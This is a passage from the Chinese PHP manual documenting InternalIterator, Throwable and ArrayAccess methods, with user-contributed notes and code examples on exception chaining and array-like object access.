public InternalIterator::key(): mixed

返回当前元素的键。

参数

此函数没有参数。

返回值

返回当前元素的键。

User Contributed Notes

There are no user contributed notes for this page.


向前移动到下一个元素

  • ? InternalIterator::key
  • InternalIterator::rewind ?
  • PHP Manual
  • InternalIterator
  • 向前移动到下一个元素

InternalIterator::next

(PHP 8)

InternalIterator::next — 向前移动到下一个元素

说明

public InternalIterator::next(): void

移动当前位置到下一个元素。

参数

此函数没有参数。

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


迭代器返回到第一个元素

  • ? InternalIterator::next
  • InternalIterator::valid ?
  • PHP Manual
  • InternalIterator
  • 迭代器返回到第一个元素

InternalIterator::rewind

(PHP 8)

InternalIterator::rewind — 迭代器返回到第一个元素

说明

public InternalIterator::rewind(): void

迭代器返回到第一个元素。

参数

此函数没有参数。

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


检测当前位置是否有效

  • ? InternalIterator::rewind
  • Throwable ?
  • PHP Manual
  • InternalIterator
  • 检测当前位置是否有效

InternalIterator::valid

(PHP 8)

InternalIterator::valid — 检测当前位置是否有效

说明

public InternalIterator::valid(): bool

检测当前位置是否有效。

参数

此函数没有参数。

返回值

返回当前位置是否有效。

User Contributed Notes

There are no user contributed notes for this page.


Throwable

(PHP 7, PHP 8)

简介

Throwable 是能被 throw 语句抛出的最基本的接口（interface），包含了 Error 和 Exception 。

Note:

PHP 类无法直接实现 （implement） Throwable 接口，而应当去继承 Exception。

接口摘要

interface Throwable extends Stringable {
/* 方法 */
public getMessage(): string
public getCode(): int
public getFile(): string
public getLine(): int
public getTrace(): array
public getTraceAsString(): string
public getPrevious(): ?Throwable
public __toString(): string
/* 继承的方法 */
public Stringable::__toString(): string
}

更新日志

版本 | 说明
8.0.0 | 现在 Throwable 实现了 Stringable。

Table of Contents

  • Throwable::getMessage — 获取信息
  • Throwable::getCode — 获取异常代码
  • Throwable::getFile — 获取创建对象的文件
  • Throwable::getLine — 获取初始化对象时候的行号
  • Throwable::getTrace — 获取堆栈踪迹（Stack Trace）
  • Throwable::getTraceAsString — 以 string 形式获取堆栈踪迹
  • Throwable::getPrevious — 返回先前的 Throwable
  • Throwable::__toString — 获取 Throwable 对象 string 形式的表达

User Contributed Notes

thisbug at foxmail dot com 13-Jan-2020 02:57
try {
// Code that may throw an Exception or Error.
} catch (Throwable $t) {
// Executed only in PHP 7, will not match in PHP 5.x
} catch (Exception $e) {
// Executed only in PHP 5.x, will not be reached in PHP 7
}

interface MyPackageThrowable extends Throwable {}

class MyPackageException extends Exception implements MyPackageThrowable {}

throw new MyPackageException();
mlocati at gmail dot com 09-Mar-2017 10:59
I wrote a simple script that prints out the Throwable and Exception tree for every PHP version.

You can find this script here:
https://gist.github.com/mlocati/249f07b074a0de339d4d1ca980848e6a

And its output is here:
https://3v4l.org/sDMsv


获取信息

  • ? Throwable
  • Throwable::getCode ?
  • PHP Manual
  • Throwable
  • 获取信息

Throwable::getMessage

(PHP 7, PHP 8)

Throwable::getMessage — 获取信息

说明

public Throwable::getMessage(): string

返回抛出对象所关联的描述信息。

参数

此函数没有参数。

返回值

返回抛出对象所关联的描述信息。

参见

  • Exception::getMessage() - 获取异常消息内容

User Contributed Notes

There are no user contributed notes for this page.


获取异常代码

  • ? Throwable::getMessage
  • Throwable::getFile ?
  • PHP Manual
  • Throwable
  • 获取异常代码

Throwable::getCode

(PHP 7, PHP 8)

Throwable::getCode — 获取异常代码

说明

public Throwable::getCode(): int

返回 thrown 对象关联的的错误号。

参数

此函数没有参数。

返回值

返回 Exception 的 int 异常代码， 但如果是 Exception 的子类，可能会使其他类型（例如，PDOException 返回的类型是 string ）。

参见

  • Exception::getCode() - 获取异常代码

User Contributed Notes

There are no user contributed notes for this page.


获取创建对象的文件

  • ? Throwable::getCode
  • Throwable::getLine ?
  • PHP Manual
  • Throwable
  • 获取创建对象的文件

Throwable::getFile

(PHP 7, PHP 8)

Throwable::getFile — 获取创建对象的文件

说明

public Throwable::getFile(): string

返回对象抛出的文件名称

参数

此函数没有参数。

返回值

返回对象抛出文件的名称

参见

  • Exception::getFile() - 创建异常时的程序文件名称

User Contributed Notes

There are no user contributed notes for this page.


获取初始化对象时候的行号

  • ? Throwable::getFile
  • Throwable::getTrace ?
  • PHP Manual
  • Throwable
  • 获取初始化对象时候的行号

Throwable::getLine

(PHP 7, PHP 8)

Throwable::getLine — 获取初始化对象时候的行号

说明

public Throwable::getLine(): int

返回初始化 throwable 时的行号。

参数

此函数没有参数。

返回值

返回初始化 throwable 时的行号。

参见

  • Exception::getLine() - 获取创建的异常所在文件中的行号

User Contributed Notes

There are no user contributed notes for this page.


获取堆栈踪迹（Stack Trace）

  • ? Throwable::getLine
  • Throwable::getTraceAsString ?
  • PHP Manual
  • Throwable
  • 获取堆栈踪迹（Stack Trace）

Throwable::getTrace

(PHP 7, PHP 8)

Throwable::getTrace — 获取堆栈踪迹（Stack Trace）

说明

public Throwable::getTrace(): array

返回 array 的堆栈踪迹（Stack Trace）。

参数

此函数没有参数。

返回值

返回 array 的堆栈踪迹（Stack Trace），和 debug_backtrace() 具有相同的格式。

参见

  • Exception::getTrace() - 获取异常追踪信息

User Contributed Notes

rasmus at mindplay dot dk 04-Dec-2023 07:49
Note that, where `debug_backtrace()` accepts an argument, which lets you configure options for the backtrace, `getTrace()` has no such argument.

Whether the `getTrace` method captures arguments instead depends on the `zend.exception_ignore_args` INI setting, which must be set to `0` ahead of time, before an exception occurs. (notice the confusing double negation here - to *enable* capture of arguments, you must *disable* this INI flag.)

Unlike `debug_backtrace()`, the `getTrace` method does not appear to capture the `object` value.


以 string 形式获取堆栈踪迹

  • ? Throwable::getTrace
  • Throwable::getPrevious ?
  • PHP Manual
  • Throwable
  • 以 string 形式获取堆栈踪迹

Throwable::getTraceAsString

(PHP 7, PHP 8)

Throwable::getTraceAsString — 以 string 形式获取堆栈踪迹

说明

public Throwable::getTraceAsString(): string

参数

此函数没有参数。

返回值

返回 string 形式的堆栈踪迹（Stack Trace）。

参见

  • Exception::getTraceAsString() - 获取字符串类型的异常追踪信息

User Contributed Notes

There are no user contributed notes for this page.


返回先前的 Throwable

  • ? Throwable::getTraceAsString
  • Throwable::__toString ?
  • PHP Manual
  • Throwable
  • 返回先前的 Throwable

Throwable::getPrevious

(PHP 7, PHP 8)

Throwable::getPrevious — 返回先前的 Throwable

说明

public Throwable::getPrevious(): ?Throwable

返回任意一个先前的错误 (例如， Exception::__construct()中提供的第三个参数)。

参数

此函数没有参数。

返回值

如果有的话，返回先前的 Throwable，否则就返回 null 。

参见

  • Exception::getPrevious() - 返回前一个 Throwable

User Contributed Notes

harry at upmind dot com 10-Nov-2018 03:05
/**
     * Gets sequential array of all previously-chained errors
     *
     * @param Throwable $error
     *
     * @return Throwable[]
     */
    function getChain(Throwable $error) : array
    {
        $chain = [];

        do {
            $chain[] = $error;
        } while ($error = $error->getPrevious());

        return $chain;
    }


获取 Throwable 对象 string 形式的表达

  • ? Throwable::getPrevious
  • ArrayAccess ?
  • PHP Manual
  • Throwable
  • 获取 Throwable 对象 string 形式的表达

Throwable::__toString

(PHP 7, PHP 8)

Throwable::__toString — 获取 Throwable 对象 string 形式的表达

说明

public Throwable::__toString(): string

参数

此函数没有参数。

返回值

返回抛出对象 string 形式的表达。

参见

  • Exception::__toString() - 将异常对象转换为字符串

User Contributed Notes

There are no user contributed notes for this page.


ArrayAccess（数组式访问）接口

(PHP 5, PHP 7, PHP 8)

简介

提供像访问数组一样访问对象的能力的接口。

接口摘要

interface ArrayAccess {
/* 方法 */
public offsetExists(mixed $offset): bool
public offsetGet(mixed $offset): mixed
public offsetSet(mixed $offset, mixed $value): void
public offsetUnset(mixed $offset): void
}

Example #1 基础用法

<?php
class Obj implements ArrayAccess {
public $container = [
"one" => 1,
"two" => 2,
"three" => 3,
];

public function offsetSet($offset, $value): void {
if (is_null($offset)) {
$this->container[] = $value;
} else {
$this->container[$offset] = $value;
}
}

public function offsetExists($offset): bool {
return isset($this->container[$offset]);
}

public function offsetUnset($offset): void {
unset($this->container[$offset]);
}

public function offsetGet($offset): mixed {
return isset($this->container[$offset]) ? $this->container[$offset] : null;
}
}

$obj = new Obj;

var_dump(isset($obj["two"]));
var_dump($obj["two"]);
unset($obj["two"]);
var_dump(isset($obj["two"]));
$obj["two"] = "A value";
var_dump($obj["two"]);
$obj[] = 'Append 1';
$obj[] = 'Append 2';
$obj[] = 'Append 3';
print_r($obj);
?>

以上示例的输出类似于：

bool(true)
int(2)
bool(false)
string(7) "A value"
obj Object
(
    [container:obj:private] => Array
        (
            [one] => 1
            [three] => 3
            [two] => A value
            [0] => Append 1
            [1] => Append 2
            [2] => Append 3
        )

)

Table of Contents

  • ArrayAccess::offsetExists — 检查一个偏移位置是否存在
  • ArrayAccess::offsetGet — 获取一个偏移位置的值
  • ArrayAccess::offsetSet — 设置一个偏移位置的值
  • ArrayAccess::offsetUnset — 复位一个偏移位置的值

User Contributed Notes

msherazjaved at gmail dot com 01-Jul-2019 04:53
An experimental check addition to the findings of Per (on offsetExists method) added here (8 years ago).

<?php
class obj implements ArrayAccess {
    private $container = array();

    public function __construct() {
        $this->container = array(
            "one"   => 1,
            "two"   => 2,
            "three" => 3,
        );
    }

    public function offsetSet($offset, $value) {
        print "offsetSet method Triggered";

        if (is_null($offset)) {
            $this->container[] = $value;
        } else {
            $this->container[$offset] = $value;
        }
    }

    public function offsetExists($offset) {
        print "offsetExists method Triggered";

        return isset($this->container[$offset]);
    }

    public function offsetUnset($offset) {
        print "offsetUnset method Triggered";

        unset($this->container[$offset]);
    }

    public function offsetGet($offset) {
        print "offsetGet method Triggered";

        return isset($this->container[$offset]) ? $this->container[$offset] : null;
    }
}

$obj = new obj;

## Assigning a Value
$obj['two'] = '2';    // Output: offsetSet method Triggered

## Checking if array offset already set
isset($obj['two']);   // Output : offsetExists method Triggered

## Unsetting array value on the offset 'two'
unset($obj['two']);   // Output : offsetUnset method Triggered

## Accessing array value at offset 'two'
return $obj['two'];   // Output : offsetGet method Triggered

?>
Taliesin Nuin public at taliesinnuin dot net 04-Mar-2019 09:41
You might be wondering whether implementing an ArrayAccess interface makes the class iterable. It is, after all, an "array". The answer is no, it doesn't. Additionally there are a couple of subtle gotchas if you add both and want it to be an associate array. The below is a class that has both ArrayAccess AND Iterator interfaces. And Countable as well just to be complete.

<?php
//This uses return types which are only valid in PHP 7. They can be removed if you are forced to use an older version of PHP.
//N.b. The offsetSet method contains a function that is only valid from PHP 7.3 onwards.

class HandyClass implements ArrayAccess, Iterator, Countable {

  private $container = array(); //An Array of your actual values.
  private $keys = array();      //We use a separate array of keys rather than $this->position directly so that we can
  private $position;            //have an associative array.

  public function __construct() {
    $position = 0;

    $this->container = array(   //Arbitrary array for demo. You probably want to set this to empty in practice or
      "a"   => 1,               //get it from somewhere else, e.g. passing it into the constructor.
      "b"   => 2,
      "c"   => 3,
    );
    $this->keys = array_keys($this->container);
  }

  public function count() : int { //This is necessary for the Countable interface. It could as easily return
    return count($this->keys);    //count($this->container). The number of elements will be the same.
  }

  public function rewind() {  //Necessary for the Iterator interface. $this->position shows where we are in our list of
    $this->position = 0;      //keys. Remember we want everything done via $this->keys to handle associative arrays.
  }

  public function current() { //Necessary for the Iterator interface.
    return $this->container[$this->keys[$this->position]];
  }

  public function key() { //Necessary for the Iterator interface.
    return $this->keys[$this->position];
  }

  public function next() { //Necessary for the Iterator interface.
    ++$this->position;
  }

  public function valid() { //Necessary for the Iterator interface.
    return isset($this->keys[$this->position]);
  }

  public function offsetSet($offset, $value) { //Necessary for the ArrayAccess interface.
    if(is_null($offset)) {
      $this->container[] = $value;
      $this->keys[] = array_key_last($this->container); //THIS IS ONLY VALID FROM php 7.3 ONWARDS. See note below for alternative.
    } else {
      $this->container[$offset] = $value;
      if(!in_array($offset, $this->keys)) $this->keys[] = $offset;
    }
  }

  public function offsetExists($offset) {
    return isset($this->container[$offset]);
  }

  public function offsetUnset($offset) {
    unset($this->container[$offset]);
    unset($this->keys[array_search($offset,$this->keys)]);
    $this->keys = array_values($this->keys);  //This line re-indexes the array of container keys because if someone
  }                                           //deletes the first element, the rewind to position 0 when iterating would
                                              //cause no element to be found.
  public function offsetGet($offset) {
    return isset($this->container[$offset]) ? $this->container[$offset] : null;
  }
}
?>

Example usages:

<?php
$myClass = new HandyClass();
echo('Number of elements: ' . count($myClass) . "\n\n");

echo("Foreach through the built in test elements:\n");
foreach($myClass as $key => $value) {
  echo("$value\n");
}
echo("\n");

$myClass['d'] = 4;
$myClass['e'] = 5;
echo('Number of elements after adding two: ' . count($myClass) . "\n\n");

unset($myClass['a']);
echo('Number of elements after removing one: ' . count($myClass) . "\n\n");

echo("Accessing an element directly:\n");
echo($myClass['b'] . "\n\n");

$myClass['b'] = 5;
echo("Foreach after changing an element:\n");
foreach($myClass as $key => $value) {
  echo("$value\n");
}
echo("\n");
?>
ProgMiner 10-Jan-2018 08:07
Maybe it help anyone, if you do
<?php
$arrayAccessObject[] = 'foo';
?>
PHP give you an empty string as $offset to offsetSet($offset, $value) method.
headplan at gmail dot com 14-Nov-2017 09:06
整理前面各位大仙的解决方法.
<?php

namespace InterfaceTest;

use ArrayAccess;

class TestArrayAccess implements ArrayAccess
{
    # 存储数据
    private $data = [];

    /**
     * 以对象的方式访问数组中的数据
     *
     * @param $key
     * @return mixed
     */
    public function __get($key)
    {
        return $this->data[$key];
    }

    /**
     * 以对象方式添加一个数组元素
     *
     * @param $key
     * @param $val
     */
    public function __set($key, $val)
    {
        $this->data[$key] = $val;
    }

    /**
     * 以对象方式判断数组元素是否设置
     *
     * @param $key
     * @return bool
     */
    public function __isset($key)
    {
        return isset($this->data[$key]);
    }

    /**
     * 以对象方式删除一个数组元素
     *
     * @param $key
     */
    public function __unset($key)
    {
        unset($this->data[$key]);
    }

    /**
     * @param mixed $offset
     * @return mixed|null
     */
    public function offsetGet($offset)
    {
        return $this->offsetExists($offset) ? $this->data[$offset] : null;
    }

    /**
     * @param mixed $offset
     * @param mixed $value
     */
    public function offsetSet($offset, $value)
    {
        if (is_null($offset)) {
            $this->data[] = $value;
        } else {
            $this->data[$offset] = $value;
        }
    }

    /**
     * @param mixed $offset
     * @return bool
     */
    public function offsetExists($offset)
    {
        return isset($this->data[$offset]);
    }

    /**
     * @param mixed $offset
     */
    public function offsetUnset($offset)
    {
        if ($this->offsetExists($offset)) {
            unset($this->data[$offset]);
        }
    }

    /**
     * @return array
     */
    public function &__invoke()
    {
        return $this->data;
    }
}

$testArrayAccess = new \InterfaceTest\TestArrayAccess();

$testArrayAccess['one'] = '小明';
$testArrayAccess->two = '小红';
$testArrayAccess['three'] = '邪皇';
$testArrayAccess->four = '魔伶'; # 调用ArrayAndObjectAccess::__set
$testArrayAccess['five'] = '天尊'; # 调用ArrayAndObjectAccess::offsetSet

var_dump(isset($testArrayAccess->one)); # 调用ArrayAndObjectAccess::__isset
unset($testArrayAccess->two); # 调用ArrayAndObjectAccess::__unset

var_dump($testArrayAccess->one); # 调用ArrayAndObjectAccess::__get
var_dump($testArrayAccess->three);
var_dump($testArrayAccess->four);
var_dump($testArrayAccess->five);

var_dump(isset($testArrayAccess['one'])); # 调用ArrayAndObjectAccess::offsetExists
unset($testArrayAccess['two']); # 调用ArrayAndObjectAccess::offsetUnset

var_dump($testArrayAccess['one']); # 调用ArrayAndObjectAccess::offsetGet
var_dump($testArrayAccess['three']);
var_dump($testArrayAccess['four']);
var_dump($testArrayAccess['five']);

var_dump($testArrayAccess);
var_dump($testArrayAccess());
var_dump(array_values($testArrayAccess()));
$var = 'hi';
$testArrayAccess['a'] = $var;
$testArrayAccess()['b'] = &$var;
$var = 'baby';
array_push($testArrayAccess(),'test'); # int array_push ( array &$array , mixed $value1 [, mixed $... ] )
var_dump($testArrayAccess);
var_dump(reset($testArrayAccess())); # mixed reset ( array &$array )
var_dump(array_key_exists('five',$testArrayAccess()));
Soaku 01-Sep-2017 04:01
When working in namespaces ALWAYS remember to prefix the ArrayAccess name with \. It will think you mean an undefined interface.

This is a bit weird, because this interface *could* be global - You cannot define a class or interface with this name, even in a namespace.

Hope it helps someone.
igorsantos07 at gibberish dot gmail dot com 24-Jun-2017 07:48
Building on comments about incompatibility between plain arrays and ArrayAccess objects, many (most?) of the array_* methods won't work with ArrayAccess objects.
Simple calls such as sizeof() work, but array_values() will throw an error, for instance.

Don't expect much magic when implementing this.
Aussie Bags 12-May-2017 10:57
Although $offset can be anything, a string that looks like an integer is cast to integer before the call to any of the methods.

$x[1]  offset is integer 1
$x['1'] offset is integer 1
$x['1.'] offset is string '1.'
jordistc at gmail dot com 31-Jul-2016 11:07
You can use the array functions on a object of a class that implements ArrayAccess using the __invoke magic method in this way:

<?php
class ArrayVar implements ArrayAccess
{
    private $data = [];

    public function __invoke()
    {
        return $this->data;
    }
}
?>

Now you can use it in this way:
<?php
    $arrayar = new ArrayVar();
    $arrayar['one'] = 'primer';
    $arrayar['two'] = 'segon';
    $arrayar['three'] = 'tercer';

    $keys = array_keys($arrayar());
    var_dump($keys);
    // array (size=3)
    //    0 => string 'one'
    //    1 => string 'two'
    //    2 => string 'three'

    $diff = array_diff($arrayar(), [ 'two' => 'segon']);
    var_dump($diff);
    // array (size=2)
    //    'one' => string 'primer'
    //    'three' => string 'tercer'
?>
luc at s dot illi dot be 28-May-2016 09:51
Note, that the ArrayAccess class is not limited to scalar keys:

<?php
class A implements ArrayAccess
{
    function offsetSet($a, $b)
    {
        var_dump(func_get_args());
    }

    function offsetGet($a)
    {
        var_dump(func_get_args());
    }

    function offsetExists($a)
    {
        var_dump(func_get_args());
    }

    function offsetUnset($a)
    {
        var_dump(func_get_args());
    }
}

class B{}
class C{}

$A = new A;
$A[[1,2,3]] = [4,5,6];
$A[new B] = new C;

/*
array(2) {
  [0]=>
  array(3) {
    [0]=>
    int(1)
    [1]=>
    int(2)
    [2]=>
    int(3)
  }
  [1]=>
  array(3) {
    [0]=>
    int(4)
    [1]=>
    int(5)
    [2]=>
    int(6)
  }
}
array(2) {
  [0]=>
  object(web\B)#3 (0) {
  }
  [1]=>
  object(web\C)#4 (0) {
  }
}
*/
?>
nick at little-apps dot com 20-Apr-2016 10:22
A class that implements ArrayAccess will not work with array_push

For example:

<?php
class TestArrayAccess implements ArrayAccess {
    private $container = array();

    // ArrayAccess methods
}

$obj = new TestArrayAccess();

array_push($obj, 'Hello World!'); // Nothing will be added
?>

One way of being able to use array_push would be by adding a toArray() method (note the return value is a reference).

<?php
class TestArrayAccess implements ArrayAccess {
    private $container = array();

    // ArrayAccess methods

    public function &toArray() {
        return $this->container;
     }
}

$obj = new TestArrayAccess();

array_push($obj->toArray(), 'Hello World!'); // Will now be added to array
?>
kaRemovTihsjouni at gmAndTihsaildot com 30-Jun-2015 03:03
reset() method may not work as you expect with ArrayAccess objects.

Using reset($myArrayAccessObject) returns the first property from $myArrayAccessObject, not the first item in the items array.

If you want to use the reset() method to return the first array item, then you can use the following simple workaround:

<?php
class MyArrayAccessObject implements Iterator, ArrayAccess, Countable {
    protected $first = null; //WARNING! Keep this always first.
    protected $items = null;
    private function supportReset() {
      $this->first = reset($this->items); //Support reset().
    }
    // ...
    public function offsetSet($offset, $value) {
        if ($offset === null) {
            $this->items[] = $value;
        }
        else {
            $this->items[$offset] = $value;
        }
        $this->supportReset();
    }
}
?>

Finally, call $this->supportReset() in the end of all methods that change the internal $items array, such as in offsetSet(), offsetUnset() etc.

This way, you can use the reset() method as normally:

<?php
$firstArrayItem = reset($myArrayAccessObject);
?>
php at lanar dot com dot au 27-Jan-2014 01:35
Objects implementing ArrayAccess do not support the increment/decrement operators ++ and --, unlike array() and ArrayObject()

<?php

class MyArray implements ArrayAccess
{
    // offsetSet, offsetGet etc implemented
}

$x = new MyArray() ;
$x[0] = 0 ;
$x[0]++ ; //error 'Indirect modification of overloaded element has no effect'
$x[0] += 1 ; // this works OK.

?>
Yousef Ismaeil Cliprz 11-Dec-2013 07:38
<?php

/**
 * ArrayAndObjectAccess
 * Yes you can access class as array and the same time as object
 *
 * @author Yousef Ismaeil <cliprz@gmail.com>
 */

class ArrayAndObjectAccess implements ArrayAccess {

    /**
     * Data
     *
     * @var array
     * @access private
     */
    private $data = [];

    /**
     * Get a data by key
     *
     * @param string The key data to retrieve
     * @access public
     */
    public function &__get ($key) {
        return $this->data[$key];
    }

    /**
     * Assigns a value to the specified data
     *
     * @param string The data key to assign the value to
     * @param mixed  The value to set
     * @access public
     */
    public function __set($key,$value) {
        $this->data[$key] = $value;
    }

    /**
     * Whether or not an data exists by key
     *
     * @param string An data key to check for
     * @access public
     * @return boolean
     * @abstracting ArrayAccess
     */
    public function __isset ($key) {
        return isset($this->data[$key]);
    }

    /**
     * Unsets an data by key
     *
     * @param string The key to unset
     * @access public
     */
    public function __unset($key) {
        unset($this->data[$key]);
    }

    /**
     * Assigns a value to the specified offset
     *
     * @param string The offset to assign the value to
     * @param mixed  The value to set
     * @access public
     * @abstracting ArrayAccess
     */
    public function offsetSet($offset,$value) {
        if (is_null($offset)) {
            $this->data[] = $value;
        } else {
            $this->data[$offset] = $value;
        }
    }

    /**
     * Whether or not an offset exists
     *
     * @param string An offset to check for
     * @access public
     * @return boolean
     * @abstracting ArrayAccess
     */
    public function offsetExists($offset) {
        return isset($this->data[$offset]);
    }

    /**
     * Unsets an offset
     *
     * @param string The offset to unset
     * @access public
     * @abstracting ArrayAccess
     */
    public function offsetUnset($offset) {
        if ($this->offsetExists($offset)) {
            unset($this->data[$offset]);
        }
    }

    /**
     * Returns the value at specified offset
     *
     * @param string The offset to retrieve
     * @access public
     * @return mixed
     * @abstracting ArrayAccess
     */
    public function offsetGet($offset) {
        return $this->offsetExists($offset) ? $this->data[$offset] : null;
    }

}

?>

Usage

<?php
$foo = new ArrayAndObjectAccess();
// Set data as array and object
$foo->fname = 'Yousef';
$foo->lname = 'Ismaeil';
// Call as object
echo 'fname as object '.$foo->fname."\n";
// Call as array
echo 'lname as array '.$foo['lname']."\n";
// Reset as array
$foo['fname'] = 'Cliprz';
echo $foo['fname']."\n";

/** Outputs
fname as object Yousef
lname as array Ismaeil
Cliprz
*/

?>
ivan dot dossev at gmail dot com 20-Apr-2013 07:09
Sadly you cannot assign by reference with the ArrayAccess (at least in PHP 5.3.23)
It's too bad there is no syntax for optionally passing variables by reference to functions (a feature in retro PHP).
That option would have let ArrayAccess fully mimic the functionality of normal array assignments:

<?php
$var = 'hello';
$arr = array();
$arr[0] = $var;
$arr[1] = &$var;
$var = 'world';
var_dump($arr[0], $arr[1]);

// string(5) "hello"
// string(5) "world"
?>

Declaring "function offsetSet($offset, &$value)" will cause a fatal error.
So to assign by ref you can use an ugly function call, for example:

<?php
class obj implements ArrayAccess {

    // ... ArrayAccess example code ...

    public function &offsetSetRef($offset, &$value) {
        if (is_null($offset)) {
            $this->container[] = &$value;
        } else {
            $this->container[$offset] = &$value;
        }
        return $value; // should return in case called within an assignment chain
    }
}

$var = 'hello';
$obj = new obj();
$obj[0] = $var;
//$obj[1] = &$var; // Fatal error: Cannot assign by reference to overloaded object
$obj->offsetSetRef(1, $var); // the work around
$var = 'world';
var_dump($obj[0], $obj[1]);

// string(5) "hello"
// string(5) "world"

?>
Hayley Watson 31-Mar-2013 12:25
The indexes used in an ArrayAccess object are not limited to strings and integers as they are for arrays: you can use any type for the index as long as you write your implementation to handle them. This fact is exploited by the SplObjectStorage class.
jojor at gmx dot net 12-Dec-2012 01:08
Conclusion: Type hints \ArrayAccess and array are not compatible.

<?php

     class MyArrayAccess implements \ArrayAccess
     {
         public function offsetExists($offset)
         {

         }

         public function offsetSet($offset, $value)
         {

         }

         public function offsetGet($offset)
         {

         }

         public function offsetUnset($offset)
         {

         }
     }

     function test(array $arr)
     {
     }

     function test2(\ArrayAccess $arr)
     {

     }

     $arrObj = new MyArrayAccess();
     test([]); //result: works!
     test($arrObj); //result: does NOT work
     test2([]); //result: does NOT work
     test2($arrObj); // result: works!
?>
Per 20-May-2011 02:16
It bit me today, so putting it here in the hope it will help others:
If you call array_key_exists() on an object of a class that implements ArrayAccess, ArrayAccess::offsetExists() wil NOT be called.
max at flashdroid dot com 05-Apr-2010 06:49
Objects implementing ArrayAccess may return objects by references in PHP 5.3.0.

You can implement your ArrayAccess object like this:

    class Reflectable implements ArrayAccess {

        public function set($name, $value) {
            $this->{$name} = $value;
        }

        public function &get($name) {
            return $this->{$name};
        }

        public function offsetGet($offset) {
            return $this->get($offset);
        }

        public function offsetSet($offset, $value) {
            $this->set($offset, $value);
        }

        ...

    }

This base class allows you to get / set your object properties using the [] operator just like in Javascript:

    class Boo extends Reflectable {
        public $name;
    }

    $obj = new Boo();
    $obj['name'] = "boo";
    echo $obj['name']; // prints boo


检查一个偏移位置是否存在

  • ? ArrayAccess
  • ArrayAccess::offsetGet ?
  • PHP Manual
  • ArrayAccess
  • 检查一个偏移位置是否存在

ArrayAccess::offsetExists

(PHP 5, PHP 7, PHP 8)

ArrayAccess::offsetExists — 检查一个偏移位置是否存在

说明

public ArrayAccess::offsetExists(mixed $offset): bool

检查一个偏移位置是否存在。

对一个实现了 ArrayAccess 接口的对象使用 isset() 或 empty() 时，此方法将执行。

Note:

当使用 empty() 并且仅当 ArrayAccess::offsetExists() 返回 true 时，ArrayAccess::offsetGet() 将被调用以检查是为否空。

参数

offset

需要检查的偏移位置。

返回值

成功时返回 true， 或者在失败时返回 false。

Note:

如果一个非布尔型返回值被返回，将被转换为 bool 。

示例

Example #1 ArrayAccess::offsetExists() 示例

<?php
class obj implements ArrayAccess {
public function offsetSet($offset, $value): void {
var_dump(__METHOD__);
}
public function offsetExists($var): bool {
var_dump(__METHOD__);
if ($var == "foobar") {
return true;
}
return false;
}
public function offsetUnset($var): void {
var_dump(__METHOD__);
}
#[\ReturnTypeWillChange]
public function offsetGet($var) {
var_dump(__METHOD__);
return "value";
}
}

$obj = new obj;

echo "Runs obj::offsetExists()\n";
var_dump(isset($obj["foobar"]));

echo "\nRuns obj::offsetExists() and obj::offsetGet()\n";
var_dump(empty($obj["foobar"]));

echo "\nRuns obj::offsetExists(), *not* obj:offsetGet() as there is nothing to get\n";
var_dump(empty($obj["foobaz"]));
?>

以上示例的输出类似于：

Runs obj::offsetExists()
string(17) "obj::offsetExists"
bool(true)

Runs obj::offsetExists() and obj::offsetGet()
string(17) "obj::offsetExists"
string(14) "obj::offsetGet"
bool(false)

Runs obj::offsetExists(), *not* obj:offsetGet() as there is nothing to get
string(17) "obj::offsetExists"
bool(true)

User Contributed Notes

Martin Q 22-Oct-2019 09:24
It seems that in PHP 7, if this method returns FALSE then offsetGet() will return NULL (in PHP 5, offsetGet() didn't first check what value offsetExists() returned).  So if your code suddenly stops working when you upgrade to PHP 7 make sure that offsetExists() returns a sensible value!
kgun ! mail ! com 08-Feb-2019 11:41
If you care about key-strictness, you may need to use an alternative solution (maybe overriding offsetExists() in subclass(es)). So, offsetExists() acts like array_key_exists() and does not handle the key types. Here;

<?php
$array = ['one', 'two', 3.=>'boom!'];
$arrayObject = new ArrayObject($array);
$key = '3';
var_dump(array_key_exists($key, $array)); // bool(true)
var_dump(in_array($key, array_keys($array), true)); // bool(false)
var_dump($arrayObject->offsetExists($key)); // bool(true)
var_dump(in_array($key, array_keys($arrayObject->getArrayCopy()), true)); // bool(false)

// @override;
public function offsetExists($key)
{
    // make a strict check
    return in_array($key, array_keys($this->getArrayCopy()), true);
}
?>
driezasson at icloud dot com 02-Mar-2015 07:10
Note that even though isset/empty works on classes implementing ArrayAccess, array_key_exists does not. At least not in PHP 5.3.


获取一个偏移位置的值

  • ? ArrayAccess::offsetExists
  • ArrayAccess::offsetSet ?
  • PHP Manual
  • ArrayAccess
  • 获取一个偏移位置的值

ArrayAccess::offsetGet

(PHP 5, PHP 7, PHP 8)

ArrayAccess::offsetGet — 获取一个偏移位置的值

说明

public ArrayAccess::offsetGet(mixed $offset): mixed

返回指定偏移位置的值。

当检查一个偏移位置是否为 empty() 时，会执行此方法。

参数

offset

需要获取的偏移位置。

返回值

可返回任何类型。

注释

Note:

此方法的实现可以通过引用返回。 这使得可以间接修改 ArrayAccess 对象，能够重载数组的维度。

直接修改是完全替代数组维度的值，例如 $obj[6] = 7。 另一方面，间接修改是指仅修改某个维度中的一部分，或者传引用的方式赋值一个维度， 例如 $obj[6][7] = 7 和 $var =& $obj[6]。 使用 ++ 自增或者使用 -- 自减也是通过间接修改的方式实现的。

直接修改会触发对 ArrayAccess::offsetSet()
的调用，而间接修改则会触发对 ArrayAccess::offsetGet()
的调用。在这种情况下， ArrayAccess::offsetGet()
的实现必须能通过引用返回，否则会引发 E_NOTICE 消息。

参见

  • ArrayAccess::offsetExists() - 检查一个偏移位置是否存在

User Contributed Notes

Martin Q 22-Oct-2019 09:28
As of PHP 7, offsetExists($offset) must return a TRUE value in order for offsetGet($offset) to be called, otherwise offsetGet($offset) will just return NULL.  This was not the case in PHP 5, so if your code suddenly stops working upon upgrade to PHP 7, make sure offsetExists() returns sensible values.


设置一个偏移位置的值

  • ? ArrayAccess::offsetGet
  • ArrayAccess::offsetUnset ?
  • PHP Manual
  • ArrayAccess
  • 设置一个偏移位置的值

ArrayAccess::offsetSet

(PHP 5, PHP 7, PHP 8)

ArrayAccess::offsetSet — 设置一个偏移位置的值

说明

public ArrayAccess::offsetSet(mixed $offset, mixed $value): void

为指定的偏移位置设置一个值。

参数

offset

待设置的偏移位置。

value

需要设置的值。

返回值

没有返回值。

注释

Note:

如果另一个值不可用，那么 offset 参数将被设置为 null，就像下面的示例。

<?php
$arrayaccess[] = "first value";
$arrayaccess[] = "second value";
print_r($arrayaccess);
?>

以上示例会输出：

Array
(
    [0] => first value
